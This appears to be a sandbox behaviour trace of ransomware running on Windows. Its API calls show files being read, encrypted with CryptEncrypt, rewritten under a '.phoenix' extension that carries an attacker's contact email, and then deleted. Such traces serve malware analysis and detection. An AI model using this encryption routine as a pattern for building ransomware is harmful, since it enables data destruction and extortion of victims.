	[0065.919] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xfd0, lpOverlapped=0x0) returned 1
	[0065.920] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa4c8) returned 1
	[0065.920] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0065.920] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0065.920] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0065.920] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0065.920] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0065.920] CloseHandle (hObject=0x304) returned 1
	[0065.920] CloseHandle (hObject=0x314) returned 1
	[0065.924] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1
	[0065.926] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0065.926] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.926] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3683) returned 1
	[0065.926] CloseHandle (hObject=0x314) returned 1
	[0065.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80
	[0065.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.926] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.926] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0065.926] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0065.926] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0065.937] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa488) returned 1
	[0065.937] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0065.937] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xe63, lpOverlapped=0x0) returned 1
	[0066.114] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xe70, dwBufLen=0xe70 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xe70) returned 1
	[0066.114] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xe70, lpOverlapped=0x0) returned 1
	[0066.116] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa508) returned 1
	[0066.116] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.116] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0066.116] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0066.116] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0066.116] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0066.116] CloseHandle (hObject=0x314) returned 1
	[0066.116] CloseHandle (hObject=0x304) returned 1
	[0066.117] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1
	[0066.119] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.119] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.119] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3865) returned 1
	[0066.120] CloseHandle (hObject=0x304) returned 1
	[0066.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80
	[0066.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.120] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.121] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.121] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.121] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.121] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa488) returned 1
	[0066.121] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.121] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xf19, lpOverlapped=0x0) returned 1
	[0066.190] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xf20, dwBufLen=0xf20 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xf20) returned 1
	[0066.190] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf20, lpOverlapped=0x0) returned 1
	[0066.191] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa288) returned 1
	[0066.191] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.191] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0066.191] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0066.191] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0066.191] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0066.191] CloseHandle (hObject=0x304) returned 1
	[0066.191] CloseHandle (hObject=0x314) returned 1
	[0066.192] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1
	[0066.193] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.193] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.193] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=77680) returned 1
	[0066.193] CloseHandle (hObject=0x314) returned 1
	[0066.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80
	[0066.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.193] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.194] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.194] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.194] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.194] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa348) returned 1
	[0066.194] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.194] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x12f70, lpOverlapped=0x0) returned 1
	[0066.290] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x12f80, dwBufLen=0x12f80 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x12f80) returned 1
	[0066.290] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x12f80, lpOverlapped=0x0) returned 1
	[0066.292] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa5c8) returned 1
	[0066.292] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.292] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0066.292] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0066.292] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0066.293] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0066.293] CloseHandle (hObject=0x314) returned 1
	[0066.293] CloseHandle (hObject=0x304) returned 1
	[0066.298] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1
	[0066.300] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.300] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.300] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=76818) returned 1
	[0066.300] CloseHandle (hObject=0x304) returned 1
	[0066.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80
	[0066.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.300] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.300] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.300] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.301] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.301] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa3c8) returned 1
	[0066.301] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.301] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x12c12, lpOverlapped=0x0) returned 1
	[0066.343] CryptEncrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x12c20, dwBufLen=0x12c20 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x12c20) returned 1
	[0066.343] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x12c20, lpOverlapped=0x0) returned 1
	[0066.345] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa7c8) returned 1
	[0066.345] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.345] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0066.345] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0066.345] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0066.346] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0066.346] CloseHandle (hObject=0x304) returned 1
	[0066.346] CloseHandle (hObject=0x314) returned 1
	[0066.351] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1
	[0066.352] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.352] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.352] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=5827) returned 1
	[0066.352] CloseHandle (hObject=0x314) returned 1
	[0066.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80
	[0066.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.353] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.353] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.353] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.353] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.353] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa9c8) returned 1
	[0066.353] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.353] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x16c3, lpOverlapped=0x0) returned 1
	[0066.442] CryptEncrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x16d0) returned 1
	[0066.442] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x16d0, lpOverlapped=0x0) returned 1
	[0066.443] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa7c8) returned 1
	[0066.443] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.443] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0066.443] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0066.443] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0066.443] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0066.443] CloseHandle (hObject=0x314) returned 1
	[0066.443] CloseHandle (hObject=0x304) returned 1
	[0066.444] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1
	[0066.445] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.445] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.446] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=60684) returned 1
	[0066.446] CloseHandle (hObject=0x304) returned 1
	[0066.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80
	[0066.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.446] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.446] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.446] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.446] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.446] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa9c8) returned 1
	[0066.447] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.447] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xed0c, lpOverlapped=0x0) returned 1
